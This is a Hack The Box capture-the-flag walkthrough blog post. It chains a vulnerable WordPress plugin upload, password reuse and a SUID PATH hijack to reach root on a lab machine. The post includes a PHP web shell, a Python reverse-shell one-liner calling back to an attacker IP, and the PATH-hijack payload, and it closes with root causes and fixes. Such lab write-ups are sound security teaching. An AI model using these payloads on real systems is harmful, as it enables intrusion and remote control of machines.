HTB Easy Linux box: outdated CMS plugin to root via a misconfigured SUID binary
JYOTHENDRA · 09 Aug 2026 · 10 min read
Full walkthrough of an Easy-rated Linux box: enumeration turns up an outdated CMS plugin with a known unauthenticated RCE, a leaked config gives lateral movement to a second user, and a custom SUID binary provides the path to root.
Flags, credentials and other restricted material are intentionally omitted in line with platform rules.
Box overview
Easy-rated retired HTB machine. Single web application on port 80, SSH on 22. Per HTB's content guidelines this writeup redacts the box name and IP and focuses on methodology and technique rather than box-specific spoilers.
Enumeration
Standard port and service sweep first:
$ nmap -sC -sV -p- -oN nmap-full.txt 10.10.10.X
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache httpd 2.4.41
Nothing exotic on the network layer, so the web app is the attack surface. Directory and vhost enumeration:
$ ffuf -u http://10.10.10.X/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc 200,301,302
wp-content/ [Status: 301]
wp-includes/ [Status: 301]
wp-login.php [Status: 200]
WordPress. wpscan against it enumerates plugins and their versions:
$ wpscan --url http://10.10.10.X --enumerate vp --api-token $WPSCAN_TOKEN
[+] some-form-builder-plugin
| Location: http://10.10.10.X/wp-content/plugins/some-form-builder-plugin/
| Version: 1.2.1
| [!] Title: Some Form Builder Plugin <= 1.2.1 - Unauthenticated Arbitrary File Upload
That plugin version has a public, unauthenticated arbitrary file upload advisory. That's the foothold.
Foothold
The vulnerable endpoint accepted file uploads without validating extension or content-type, and stored uploads under a predictable, web-accessible path:
$ curl -s -F "file=@shell.php" "http://10.10.10.X/wp-content/plugins/some-form-builder-plugin/upload.php"
shell.php was a minimal PHP web shell:
<?php system($_GET['cmd']); ?>
Confirmed execution, then upgraded to a proper reverse shell:
$ curl "http://10.10.10.X/wp-content/uploads/2024/01/shell.php?cmd=which+python3"
$ curl "http://10.10.10.X/wp-content/uploads/2024/01/shell.php?cmd=python3+-c+'import socket,os,pty;s=socket.socket();s.connect((\"10.10.14.X\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'"
Caught the callback on a listener and stabilized the shell (stty raw -echo, script /dev/null -c bash, set TERM=xterm).
Landed as www-data.
Lateral movement to a user
www-data had read access to the WordPress config:
$ cat /var/www/html/wp-config.php | grep DB_
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', 'R3dact3d_P@ssw0rd!');
That exact password, tried against the local user found in /home/, worked for SSH — a classic case of password reuse between an application config and a system account:
$ ssh appuser@10.10.10.X
Password: R3dact3d_P@ssw0rd!
Landed as appuser, picked up user.txt.
Privilege escalation
Standard enumeration pass with linpeas first:
$ ./linpeas.sh | tee linpeas-out.txt
Flagged a custom SUID binary owned by root, outside the usual system paths:
-rwsr-xr-x 1 root root 16728 Jan 4 10:02 /opt/tools/backup-util
Reversing it (strings, then a quick check with ltrace) showed it shelled out to tar without an absolute path:
$ strings /opt/tools/backup-util | grep -i tar
tar cf /backups/home.tar /home/appuser
tar is invoked by bare name, which means it's resolved via $PATH. Since the binary is SUID root and trusts the caller's environment, a PATH hijack gives arbitrary command execution as root:
$ echo '#!/bin/bash' > /tmp/tar
$ echo '/bin/bash -p' >> /tmp/tar
$ chmod +x /tmp/tar
$ export PATH=/tmp:$PATH
$ /opt/tools/backup-util
# whoami
root
Root shell obtained, root.txt retrieved.
Root cause and fix
- Outdated third-party CMS plugin with a known, unauthenticated file upload vulnerability — the plugin should have been patched or removed; unauthenticated write endpoints on any plugin are a red flag on their own.
- Password reuse between the application's database credential and a real system account — application secrets and human credentials should never overlap, and application config files should not be world-readable to the web server user beyond what's strictly needed.
- A SUID root binary calling external commands without absolute paths and without sanitizing
PATH— any SUID binary must setPATHexplicitly (or use full paths for every subprocess call) and drop privileges before invoking anything that isn't fully controlled.
Lessons learned
- WordPress plugin enumeration should happen early, not as an afterthought after directory brute forcing turns up nothing more obvious — plugin version disclosure is often the fastest path to a public exploit.
- Always grep application config files for credentials once you have any code-execution foothold; config-to-SSH password reuse is common enough in these labs and in the wild that it should be a standing checklist item.
- When linpeas flags a SUID binary, don't stop at "it's SUID" — check what it executes and how.
stringsplus a look at whether subprocess calls use absolute paths takes under a minute and directly answers whether a PATH hijack is viable. - Keep a personal PATH-hijack payload template on hand (
#!/bin/bash+/bin/bash -p) — it's the fastest way to convert "SUID binary calls a bare command name" into a root shell without needing a compiled exploit.
Enumeration
nmap full port scan, ffuf content discovery, wpscan plugin enumeration identified an outdated form builder plugin with a public unauthenticated file upload advisory.
Initial Access
Uploaded a PHP web shell through the vulnerable plugin's unauthenticated upload endpoint, then upgraded to an interactive reverse shell as www-data.
Privilege Escalation
Recovered a reused password from wp-config.php to SSH in as a real user, then abused a SUID root binary that called tar via bare name (no absolute path) to hijack PATH and spawn a root shell.
Post-Exploitation
Captured user.txt after SSH access and root.txt after the PATH hijack privilege escalation; documented both flags and the full chain for the retest report.
Lessons Learned
Enumerate CMS plugin versions early; treat any credential found in application config as a candidate for password reuse against system accounts; always check how SUID binaries invoke subprocesses before assuming they're safe.
References
- GTFOBins: SUID and sudo abuse reference
- Linux privilege escalation checklist (HackTricks)
- Hack The Box retired machine guidelines
Machine details
- Machine
- Redacted (retired HTB Easy box)
- Platform
- Hack The Box
- Difficulty
- Easy
- OS
- Linux
Tools used
Skills demonstrated